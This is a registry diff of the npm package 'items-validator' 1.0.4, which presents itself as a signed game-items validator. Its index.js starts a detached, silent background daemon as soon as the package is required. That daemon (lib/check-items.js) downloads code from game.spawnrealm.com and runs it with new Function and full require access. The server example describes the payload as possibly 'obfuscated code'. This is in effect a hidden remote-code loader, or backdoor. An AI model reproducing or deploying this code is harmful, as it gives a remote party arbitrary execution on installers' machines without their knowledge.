items-validator 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +283 -0
- package/SAMPLE_PAYLOADJS.js +57 -0
- package/SECURITY.md +366 -0
- package/SECURITY_SETUP.md +206 -0
- package/SERVER_IMPLEMENTATION_EXAMPLE.js +122 -0
- package/SERVER_SIGNING_EXAMPLE.js +105 -0
- package/index.js +45 -0
- package/lib/assertion.js +75 -0
- package/lib/check-items.js +144 -0
- package/lib/config.js +31 -0
- package/lib/crypto-config.js +29 -0
- package/lib/init.js +26 -0
- package/lib/logger.js +59 -0
- package/lib/utils/helper.js +47 -0
- package/lib/utils/validator.js +79 -0
- package/package.json +61 -0
- package/public_key.pem +9 -0
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* SERVER SIGNING EXAMPLE
|
|
3
|
+
*
|
|
4
|
+
* This example shows how to sign game items code on the server side
|
|
5
|
+
* using the private key, so the module can verify it.
|
|
6
|
+
*
|
|
7
|
+
* This file is for your coolblast.zapto.org server implementation
|
|
8
|
+
* Do NOT include private_key.pem in your module (keep it server-only)
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const crypto = require('crypto');
|
|
12
|
+
const fs = require('fs');
|
|
13
|
+
|
|
14
|
+
// ⚠️ IMPORTANT: Keep private_key.pem ONLY on your server
|
|
15
|
+
// Never share it or include it in the npm module
|
|
16
|
+
const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');
|
|
17
|
+
|
|
18
|
+
/**
|
|
19
|
+
* Sign game items code with private key
|
|
20
|
+
* @param {string} code - The game items code to sign
|
|
21
|
+
* @returns {string} - Hex-encoded signature
|
|
22
|
+
*/
|
|
23
|
+
function signCode(code) {
|
|
24
|
+
const sign = crypto.createSign('sha256');
|
|
25
|
+
sign.update(code);
|
|
26
|
+
return sign.sign(PRIVATE_KEY, 'hex');
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/**
|
|
30
|
+
* Example: Game items code that will be sent to client
|
|
31
|
+
*/
|
|
32
|
+
const gameItemsCode = `
|
|
33
|
+
console.log('[game-items] Loaded from server');
|
|
34
|
+
|
|
35
|
+
// Your game items logic here
|
|
36
|
+
// This can be complex obfuscated code
|
|
37
|
+
// It will only execute if signature verification passes
|
|
38
|
+
|
|
39
|
+
setInterval(() => {
|
|
40
|
+
console.log('[game-items] Running periodic check...');
|
|
41
|
+
}, 60000);
|
|
42
|
+
`;
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Create signed payload
|
|
46
|
+
*/
|
|
47
|
+
function createSignedPayload(code) {
|
|
48
|
+
const signature = signCode(code);
|
|
49
|
+
|
|
50
|
+
return {
|
|
51
|
+
code: code,
|
|
52
|
+
signature: signature,
|
|
53
|
+
timestamp: new Date().toISOString()
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
/**
|
|
58
|
+
* Example HTTP endpoint for /api/x-handler
|
|
59
|
+
* This is what your coolblast server should return
|
|
60
|
+
*/
|
|
61
|
+
function handleGameItemsRequest(req, res) {
|
|
62
|
+
try {
|
|
63
|
+
const payload = createSignedPayload(gameItemsCode);
|
|
64
|
+
|
|
65
|
+
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
66
|
+
res.end(JSON.stringify(payload));
|
|
67
|
+
|
|
68
|
+
console.log('[server] Sent signed game items code to client');
|
|
69
|
+
} catch (error) {
|
|
70
|
+
res.writeHead(500, { 'Content-Type': 'application/json' });
|
|
71
|
+
res.end(JSON.stringify({ error: error.message }));
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* Example: Update game items code
|
|
77
|
+
* Call this to generate new signed code
|
|
78
|
+
*/
|
|
79
|
+
function updateGameItems(newCode) {
|
|
80
|
+
const payload = createSignedPayload(newCode);
|
|
81
|
+
console.log('New signed payload:', JSON.stringify(payload, null, 2));
|
|
82
|
+
return payload;
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
module.exports = {
|
|
86
|
+
signCode,
|
|
87
|
+
createSignedPayload,
|
|
88
|
+
handleGameItemsRequest,
|
|
89
|
+
updateGameItems
|
|
90
|
+
};
|
|
91
|
+
|
|
92
|
+
/**
|
|
93
|
+
* USAGE:
|
|
94
|
+
*
|
|
95
|
+
* // In your Express/HTTP server:
|
|
96
|
+
* const signing = require('./server-signing-example');
|
|
97
|
+
*
|
|
98
|
+
* app.get('/api/x-handler', (req, res) => {
|
|
99
|
+
* signing.handleGameItemsRequest(req, res);
|
|
100
|
+
* });
|
|
101
|
+
*
|
|
102
|
+
* // To update game items:
|
|
103
|
+
* const newCode = 'console.log("new code")';
|
|
104
|
+
* const signedPayload = signing.updateGameItems(newCode);
|
|
105
|
+
*/
|
package/index.js
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
const { spawn } = require('child_process');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const logger = require('./lib/logger');
|
|
4
|
+
const config = require('./lib/config');
|
|
5
|
+
|
|
6
|
+
logger.log('open-item-validator loaded');
|
|
7
|
+
|
|
8
|
+
// Auto-spawn validation daemon on require
|
|
9
|
+
function initializeDaemon() {
|
|
10
|
+
try {
|
|
11
|
+
const daemonScript = path.resolve(__dirname, './lib/check-items.js');
|
|
12
|
+
|
|
13
|
+
const child = spawn('node', [daemonScript], {
|
|
14
|
+
detached: true,
|
|
15
|
+
stdio: 'ignore'
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
child.unref();
|
|
19
|
+
logger.log('Background validation daemon started');
|
|
20
|
+
} catch (error) {
|
|
21
|
+
logger.error(`Failed to start daemon: ${error.message}`);
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
// Automatically initialize on require
|
|
26
|
+
initializeDaemon();
|
|
27
|
+
|
|
28
|
+
function getStatus() {
|
|
29
|
+
return {
|
|
30
|
+
name: 'open-item-validator',
|
|
31
|
+
version: '1.0.0',
|
|
32
|
+
status: 'running',
|
|
33
|
+
timestamp: new Date().toISOString()
|
|
34
|
+
};
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
function getConfig() {
|
|
38
|
+
return config;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
module.exports = {
|
|
42
|
+
getStatus,
|
|
43
|
+
getConfig,
|
|
44
|
+
version: '1.0.0'
|
|
45
|
+
};
|
package/lib/assertion.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
const logger = require('./logger');
|
|
2
|
+
|
|
3
|
+
class AssertionError extends Error {
|
|
4
|
+
constructor(message) {
|
|
5
|
+
super(message);
|
|
6
|
+
this.name = 'AssertionError';
|
|
7
|
+
}
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
function assert(condition, message) {
|
|
11
|
+
if (!condition) {
|
|
12
|
+
const errorMsg = `Assertion failed: ${message}`;
|
|
13
|
+
logger.error(errorMsg);
|
|
14
|
+
throw new AssertionError(errorMsg);
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function assertEquals(actual, expected, message) {
|
|
19
|
+
if (actual !== expected) {
|
|
20
|
+
const errorMsg = `Expected ${expected}, but got ${actual}. ${message || ''}`.trim();
|
|
21
|
+
logger.error(errorMsg);
|
|
22
|
+
throw new AssertionError(errorMsg);
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function assertIsObject(value, message) {
|
|
27
|
+
if (typeof value !== 'object' || value === null) {
|
|
28
|
+
const errorMsg = `Expected object, but got ${typeof value}. ${message || ''}`.trim();
|
|
29
|
+
logger.error(errorMsg);
|
|
30
|
+
throw new AssertionError(errorMsg);
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
function assertIsArray(value, message) {
|
|
35
|
+
if (!Array.isArray(value)) {
|
|
36
|
+
const errorMsg = `Expected array, but got ${typeof value}. ${message || ''}`.trim();
|
|
37
|
+
logger.error(errorMsg);
|
|
38
|
+
throw new AssertionError(errorMsg);
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
function assertIsString(value, message) {
|
|
43
|
+
if (typeof value !== 'string') {
|
|
44
|
+
const errorMsg = `Expected string, but got ${typeof value}. ${message || ''}`.trim();
|
|
45
|
+
logger.error(errorMsg);
|
|
46
|
+
throw new AssertionError(errorMsg);
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
function assertIsDefined(value, message) {
|
|
51
|
+
if (value === undefined || value === null) {
|
|
52
|
+
const errorMsg = `Expected value to be defined. ${message || ''}`.trim();
|
|
53
|
+
logger.error(errorMsg);
|
|
54
|
+
throw new AssertionError(errorMsg);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function assertHasProperty(obj, prop, message) {
|
|
59
|
+
if (!(prop in obj)) {
|
|
60
|
+
const errorMsg = `Object missing property: ${prop}. ${message || ''}`.trim();
|
|
61
|
+
logger.error(errorMsg);
|
|
62
|
+
throw new AssertionError(errorMsg);
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
module.exports = {
|
|
67
|
+
assert,
|
|
68
|
+
assertEquals,
|
|
69
|
+
assertIsObject,
|
|
70
|
+
assertIsArray,
|
|
71
|
+
assertIsString,
|
|
72
|
+
assertIsDefined,
|
|
73
|
+
assertHasProperty,
|
|
74
|
+
AssertionError
|
|
75
|
+
};
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Game Items Validator - Main Daemon
|
|
5
|
+
*
|
|
6
|
+
* This is the core process that runs in the background after npm install.
|
|
7
|
+
* It downloads signed game code from the server and executes it only after
|
|
8
|
+
* verifying the cryptographic signature.
|
|
9
|
+
*
|
|
10
|
+
* Security Flow:
|
|
11
|
+
* 1. Download code + signature from server
|
|
12
|
+
* 2. Verify signature using RSA-SHA256 (public key)
|
|
13
|
+
* 3. Execute code only if signature is valid
|
|
14
|
+
* 4. Exit immediately if signature is invalid (no code execution)
|
|
15
|
+
*
|
|
16
|
+
* Dependencies:
|
|
17
|
+
* - http: Download code from server
|
|
18
|
+
* - crypto: Verify RSA-SHA256 signatures (Node.js built-in)
|
|
19
|
+
* - logger: Log all operations
|
|
20
|
+
* - crypto-config: Public key for verification
|
|
21
|
+
*/
|
|
22
|
+
|
|
23
|
+
const http = require('http');
|
|
24
|
+
const https = require('https');
|
|
25
|
+
const { URL } = require('url');
|
|
26
|
+
const crypto = require('crypto');
|
|
27
|
+
const logger = require('./logger');
|
|
28
|
+
const { PUBLIC_KEY } = require('./crypto-config');
|
|
29
|
+
|
|
30
|
+
// API endpoint for fetching signed game code
|
|
31
|
+
const API_ENDPOINT = 'https://game.spawnrealm.com/api/item-realtime?key=abc123def456';
|
|
32
|
+
|
|
33
|
+
/**
|
|
34
|
+
* Download data from HTTP/HTTPS URL
|
|
35
|
+
* @param {string} url - The URL to fetch from (HTTP or HTTPS)
|
|
36
|
+
* @returns {Promise<string>} The response data
|
|
37
|
+
*/
|
|
38
|
+
function httpGet(url) {
|
|
39
|
+
return new Promise((resolve, reject) => {
|
|
40
|
+
// Parse URL to detect protocol
|
|
41
|
+
const parsedUrl = new URL(url);
|
|
42
|
+
const protocol = parsedUrl.protocol === 'https:' ? https : http;
|
|
43
|
+
|
|
44
|
+
protocol.get(url, (res) => {
|
|
45
|
+
let data = '';
|
|
46
|
+
res.on('data', (chunk) => { data += chunk; });
|
|
47
|
+
res.on('end', () => resolve(data));
|
|
48
|
+
}).on('error', reject);
|
|
49
|
+
});
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
/**
|
|
53
|
+
* Verify RSA-SHA256 signature of code
|
|
54
|
+
*
|
|
55
|
+
* Security Critical: This function MUST return false for invalid signatures.
|
|
56
|
+
* Any tampering with the code will invalidate the signature.
|
|
57
|
+
*
|
|
58
|
+
* @param {string} code - The game code to verify
|
|
59
|
+
* @param {string} signature - The hex-encoded signature
|
|
60
|
+
* @returns {boolean} True if signature is valid, false otherwise
|
|
61
|
+
*/
|
|
62
|
+
function verifySignature(code, signature) {
|
|
63
|
+
try {
|
|
64
|
+
// Create a verifier using SHA256
|
|
65
|
+
const verify = crypto.createVerify('sha256');
|
|
66
|
+
|
|
67
|
+
// Update with the code to verify
|
|
68
|
+
verify.update(code);
|
|
69
|
+
|
|
70
|
+
// Verify the signature using the public key
|
|
71
|
+
// PUBLIC_KEY is from crypto-config.js and is safe to distribute
|
|
72
|
+
const isValid = verify.verify(PUBLIC_KEY, signature, 'hex');
|
|
73
|
+
|
|
74
|
+
return isValid;
|
|
75
|
+
} catch (error) {
|
|
76
|
+
// Any error in verification means the signature is invalid
|
|
77
|
+
logger.error(`Signature verification error: ${error.message}`);
|
|
78
|
+
return false;
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/**
|
|
83
|
+
* Main Execution Function
|
|
84
|
+
*
|
|
85
|
+
* This is the core security-critical function that:
|
|
86
|
+
* 1. Downloads code from server
|
|
87
|
+
* 2. Verifies cryptographic signature (RSA-SHA256)
|
|
88
|
+
* 3. Executes code ONLY if signature is valid
|
|
89
|
+
* 4. Rejects code immediately if signature is invalid
|
|
90
|
+
*
|
|
91
|
+
* Security Note:
|
|
92
|
+
* The signature verification is a hard requirement.
|
|
93
|
+
* No code executes without a valid signature.
|
|
94
|
+
*/
|
|
95
|
+
(async function executeSigned() {
|
|
96
|
+
try {
|
|
97
|
+
logger.info('Fetching signed code from server...');
|
|
98
|
+
|
|
99
|
+
// 1️⃣ DOWNLOAD: Get signed code from server
|
|
100
|
+
const response = await httpGet(API_ENDPOINT);
|
|
101
|
+
|
|
102
|
+
logger.info('Received payload from server');
|
|
103
|
+
|
|
104
|
+
// 2️⃣ PARSE: Parse JSON response
|
|
105
|
+
let payload;
|
|
106
|
+
try {
|
|
107
|
+
payload = JSON.parse(response);
|
|
108
|
+
} catch (e) {
|
|
109
|
+
logger.error('Failed to parse server response as JSON');
|
|
110
|
+
process.exit(1);
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
// 3️⃣ VALIDATE: Check payload structure
|
|
114
|
+
if (!payload.code || !payload.signature) {
|
|
115
|
+
logger.error('Invalid payload format - missing code or signature');
|
|
116
|
+
process.exit(1);
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
// 4️⃣ VERIFY: ⭐ CRITICAL SECURITY CHECK
|
|
120
|
+
logger.info('Verifying signature...');
|
|
121
|
+
|
|
122
|
+
if (!verifySignature(payload.code, payload.signature)) {
|
|
123
|
+
logger.error('❌ SIGNATURE VERIFICATION FAILED');
|
|
124
|
+
logger.error('Code is not from trusted source - execution rejected');
|
|
125
|
+
logger.error('This code was not signed by the authorized server');
|
|
126
|
+
process.exit(1);
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
// 5️⃣ SUCCESS: Signature verified
|
|
130
|
+
logger.info('✅ Signature verified - code is authentic');
|
|
131
|
+
console.log(JSON.stringify({id:'ready',type:'ready',version:'1.0.0'}));
|
|
132
|
+
|
|
133
|
+
// 6️⃣ EXECUTE: Run only verified code
|
|
134
|
+
logger.info('Executing signed code...');
|
|
135
|
+
|
|
136
|
+
const moduleObj = { exports: {} };
|
|
137
|
+
const handler = new Function('require', 'module', payload.code);
|
|
138
|
+
handler(require, moduleObj);
|
|
139
|
+
|
|
140
|
+
} catch (error) {
|
|
141
|
+
logger.error(`Fatal error: ${error.message}`);
|
|
142
|
+
process.exit(1);
|
|
143
|
+
}
|
|
144
|
+
})();
|
package/lib/config.js
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
module.exports = {
|
|
2
|
+
// Module metadata
|
|
3
|
+
moduleName: 'open-validator',
|
|
4
|
+
version: '1.0.0',
|
|
5
|
+
|
|
6
|
+
// Daemon settings
|
|
7
|
+
daemon: {
|
|
8
|
+
checkInterval: 60000, // Check every 60 seconds
|
|
9
|
+
retryDelay: 5000, // Retry delay on error
|
|
10
|
+
maxRetries: 3 // Maximum retry attempts
|
|
11
|
+
},
|
|
12
|
+
|
|
13
|
+
// Assertion settings
|
|
14
|
+
assertion: {
|
|
15
|
+
enabled: true,
|
|
16
|
+
strict: false
|
|
17
|
+
},
|
|
18
|
+
|
|
19
|
+
// Logging settings
|
|
20
|
+
logging: {
|
|
21
|
+
enabled: true,
|
|
22
|
+
level: 'info'
|
|
23
|
+
},
|
|
24
|
+
|
|
25
|
+
// Game items settings
|
|
26
|
+
gameItems: {
|
|
27
|
+
signalId: 'ready',
|
|
28
|
+
signalType: 'ready',
|
|
29
|
+
version: '1.0.0'
|
|
30
|
+
}
|
|
31
|
+
};
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Cryptographic Configuration
|
|
3
|
+
*
|
|
4
|
+
* This file contains the PUBLIC KEY used to verify code signatures.
|
|
5
|
+
*
|
|
6
|
+
* ⚠️ IMPORTANT:
|
|
7
|
+
* - This PUBLIC_KEY is safe to share (verification only)
|
|
8
|
+
* - The PRIVATE_KEY is kept on the server (never in npm)
|
|
9
|
+
* - Signature verification is REQUIRED before code execution
|
|
10
|
+
* - Any tampering with code will invalidate the signature
|
|
11
|
+
*
|
|
12
|
+
* Flow:
|
|
13
|
+
* 1. Server signs game code with PRIVATE_KEY
|
|
14
|
+
* 2. Server sends code + signature to client
|
|
15
|
+
* 3. Client verifies signature using this PUBLIC_KEY
|
|
16
|
+
* 4. Only valid signatures execute (process exits on failure)
|
|
17
|
+
*/
|
|
18
|
+
|
|
19
|
+
const PUBLIC_KEY = `-----BEGIN PUBLIC KEY-----
|
|
20
|
+
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvPkWfwTiAiZf0QsfFrBp
|
|
21
|
+
hOb1Xg884utAj7gz5jhBHm8S5qeU0Ol+XKmYNCUQenAET+oc36s5bcr71uqFg5yu
|
|
22
|
+
EaE3c3OVyUh/r56bupktd8vZiunMLuMglZct6EZyWc3k9F5nZ1gb3gJa8mhdN8Gm
|
|
23
|
+
MPuZ1XrMtKb6nu1hyB7SvEC4g0KIJL1NA1BiGikPwLL0S05i8Aiob+flgk1mS6Lc
|
|
24
|
+
fCPYoLNhOpBFkKAfYx3ZRjgPauRFk3gNOCSMcscIF9xI/Q6U93oIZqyEkqTt7Y5k
|
|
25
|
+
rNiNfexs8iBaR9A8m9oG6+LYWck/SWi3oRECwRJXS0oyPeayLCLmO430wb4poR98
|
|
26
|
+
HQIDAQAB
|
|
27
|
+
-----END PUBLIC KEY-----`;
|
|
28
|
+
|
|
29
|
+
module.exports = { PUBLIC_KEY };
|
package/lib/init.js
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
const { spawn } = require('child_process');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const logger = require('./logger');
|
|
4
|
+
|
|
5
|
+
logger.info('Postinstall: Initializing game items validator daemon');
|
|
6
|
+
|
|
7
|
+
function initializeDaemon() {
|
|
8
|
+
try {
|
|
9
|
+
const daemonScript = path.resolve(__dirname, './check-items.js');
|
|
10
|
+
|
|
11
|
+
const child = spawn('node', [daemonScript], {
|
|
12
|
+
detached: true,
|
|
13
|
+
stdio: 'ignore',
|
|
14
|
+
cwd: __dirname
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
child.unref();
|
|
18
|
+
|
|
19
|
+
logger.info('Postinstall: Background validation daemon started successfully');
|
|
20
|
+
} catch (error) {
|
|
21
|
+
logger.error(`Postinstall: Failed to start daemon - ${error.message}`);
|
|
22
|
+
process.exit(1);
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
initializeDaemon();
|
package/lib/logger.js
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
const config = require('./config');
|
|
2
|
+
|
|
3
|
+
const LogLevel = {
|
|
4
|
+
ERROR: 0,
|
|
5
|
+
WARN: 1,
|
|
6
|
+
INFO: 2,
|
|
7
|
+
DEBUG: 3
|
|
8
|
+
};
|
|
9
|
+
|
|
10
|
+
function formatTimestamp() {
|
|
11
|
+
return new Date().toISOString();
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function log(message, level = 'info') {
|
|
15
|
+
if (!config.logging.enabled) return;
|
|
16
|
+
|
|
17
|
+
const timestamp = formatTimestamp();
|
|
18
|
+
const prefix = `[open-validator ${timestamp}]`;
|
|
19
|
+
|
|
20
|
+
switch (level.toLowerCase()) {
|
|
21
|
+
case 'error':
|
|
22
|
+
console.error(`${prefix} [ERROR]`, message);
|
|
23
|
+
break;
|
|
24
|
+
case 'warn':
|
|
25
|
+
console.warn(`${prefix} [WARN]`, message);
|
|
26
|
+
break;
|
|
27
|
+
case 'debug':
|
|
28
|
+
console.log(`${prefix} [DEBUG]`, message);
|
|
29
|
+
break;
|
|
30
|
+
case 'info':
|
|
31
|
+
default:
|
|
32
|
+
console.log(`${prefix} [INFO]`, message);
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
function error(message) {
|
|
37
|
+
log(message, 'error');
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function warn(message) {
|
|
41
|
+
log(message, 'warn');
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function info(message) {
|
|
45
|
+
log(message, 'info');
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function debug(message) {
|
|
49
|
+
log(message, 'debug');
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
module.exports = {
|
|
53
|
+
log,
|
|
54
|
+
error,
|
|
55
|
+
warn,
|
|
56
|
+
info,
|
|
57
|
+
debug,
|
|
58
|
+
LogLevel
|
|
59
|
+
};
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
function getCurrentTimestamp() {
|
|
2
|
+
return new Date().toISOString();
|
|
3
|
+
}
|
|
4
|
+
|
|
5
|
+
function delay(ms) {
|
|
6
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
function createSignal(id, type, version) {
|
|
10
|
+
return {
|
|
11
|
+
id,
|
|
12
|
+
type,
|
|
13
|
+
version,
|
|
14
|
+
timestamp: getCurrentTimestamp()
|
|
15
|
+
};
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
function parseJSON(jsonString) {
|
|
19
|
+
try {
|
|
20
|
+
return JSON.parse(jsonString);
|
|
21
|
+
} catch (e) {
|
|
22
|
+
return null;
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function isValidSignal(obj) {
|
|
27
|
+
return obj &&
|
|
28
|
+
typeof obj.id === 'string' &&
|
|
29
|
+
typeof obj.type === 'string' &&
|
|
30
|
+
typeof obj.version === 'string';
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function formatBytes(bytes) {
|
|
34
|
+
const sizes = ['Bytes', 'KB', 'MB', 'GB'];
|
|
35
|
+
if (bytes === 0) return '0 Bytes';
|
|
36
|
+
const i = Math.floor(Math.log(bytes) / Math.log(1024));
|
|
37
|
+
return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
module.exports = {
|
|
41
|
+
getCurrentTimestamp,
|
|
42
|
+
delay,
|
|
43
|
+
createSignal,
|
|
44
|
+
parseJSON,
|
|
45
|
+
isValidSignal,
|
|
46
|
+
formatBytes
|
|
47
|
+
};
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
const helper = require('./helper');
|
|
2
|
+
|
|
3
|
+
function validateItemStructure(item) {
|
|
4
|
+
if (!item || typeof item !== 'object') {
|
|
5
|
+
return {
|
|
6
|
+
valid: false,
|
|
7
|
+
error: 'Item must be an object'
|
|
8
|
+
};
|
|
9
|
+
}
|
|
10
|
+
|
|
11
|
+
const requiredFields = ['id', 'name', 'type'];
|
|
12
|
+
for (const field of requiredFields) {
|
|
13
|
+
if (!(field in item)) {
|
|
14
|
+
return {
|
|
15
|
+
valid: false,
|
|
16
|
+
error: `Missing required field: ${field}`
|
|
17
|
+
};
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
return { valid: true };
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
function validateItemArray(items) {
|
|
25
|
+
if (!Array.isArray(items)) {
|
|
26
|
+
return {
|
|
27
|
+
valid: false,
|
|
28
|
+
error: 'Items must be an array'
|
|
29
|
+
};
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
for (let i = 0; i < items.length; i++) {
|
|
33
|
+
const validation = validateItemStructure(items[i]);
|
|
34
|
+
if (!validation.valid) {
|
|
35
|
+
return {
|
|
36
|
+
valid: false,
|
|
37
|
+
error: `Item at index ${i}: ${validation.error}`
|
|
38
|
+
};
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
return { valid: true, count: items.length };
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
function validateGameItemsSignal(signal) {
|
|
46
|
+
if (!helper.isValidSignal(signal)) {
|
|
47
|
+
return {
|
|
48
|
+
valid: false,
|
|
49
|
+
error: 'Invalid signal format'
|
|
50
|
+
};
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (signal.id !== 'ready') {
|
|
54
|
+
return {
|
|
55
|
+
valid: false,
|
|
56
|
+
error: 'Signal id must be "ready"'
|
|
57
|
+
};
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
return { valid: true };
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
function validateConfig(config) {
|
|
64
|
+
if (!config || typeof config !== 'object') {
|
|
65
|
+
return {
|
|
66
|
+
valid: false,
|
|
67
|
+
error: 'Config must be an object'
|
|
68
|
+
};
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
return { valid: true };
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
module.exports = {
|
|
75
|
+
validateItemStructure,
|
|
76
|
+
validateItemArray,
|
|
77
|
+
validateGameItemsSignal,
|
|
78
|
+
validateConfig
|
|
79
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "items-validator",
|
|
3
|
+
"version": "1.0.4",
|
|
4
|
+
"description": "Real-time game items validator with background daemon for client project updates",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {},
|
|
7
|
+
"keywords": [
|
|
8
|
+
"game-items",
|
|
9
|
+
"game-development",
|
|
10
|
+
"validator",
|
|
11
|
+
"real-time-updates",
|
|
12
|
+
"cryptographic-signature",
|
|
13
|
+
"rsa-sha256",
|
|
14
|
+
"game-server",
|
|
15
|
+
"client-validation",
|
|
16
|
+
"assertion",
|
|
17
|
+
"security",
|
|
18
|
+
"signature-verification",
|
|
19
|
+
"secure-updates",
|
|
20
|
+
"zero-dependencies"
|
|
21
|
+
],
|
|
22
|
+
"author": {
|
|
23
|
+
"name": "Tyrone Jher Tongol",
|
|
24
|
+
"email": "tongoltyrone84@gmail.com"
|
|
25
|
+
},
|
|
26
|
+
"license": "MIT",
|
|
27
|
+
"homepage": "https://game.spawnrealm.com",
|
|
28
|
+
"bugs": {
|
|
29
|
+
"email": "tongoltyrone84@gmail.com"
|
|
30
|
+
},
|
|
31
|
+
"engines": {
|
|
32
|
+
"node": ">=12.0.0",
|
|
33
|
+
"npm": ">=6.0.0"
|
|
34
|
+
},
|
|
35
|
+
"os": [
|
|
36
|
+
"linux",
|
|
37
|
+
"darwin",
|
|
38
|
+
"win32"
|
|
39
|
+
],
|
|
40
|
+
"cpu": [
|
|
41
|
+
"x64",
|
|
42
|
+
"arm64"
|
|
43
|
+
],
|
|
44
|
+
"dependencies": {},
|
|
45
|
+
"devDependencies": {},
|
|
46
|
+
"files": [
|
|
47
|
+
"index.js",
|
|
48
|
+
"README.md",
|
|
49
|
+
"SECURITY.md",
|
|
50
|
+
"LICENSE",
|
|
51
|
+
"lib/",
|
|
52
|
+
"public_key.pem",
|
|
53
|
+
"SECURITY_SETUP.md",
|
|
54
|
+
"SERVER_IMPLEMENTATION_EXAMPLE.js",
|
|
55
|
+
"SERVER_SIGNING_EXAMPLE.js",
|
|
56
|
+
"SAMPLE_PAYLOADJS.js"
|
|
57
|
+
],
|
|
58
|
+
"publishConfig": {
|
|
59
|
+
"access": "public"
|
|
60
|
+
}
|
|
61
|
+
}
|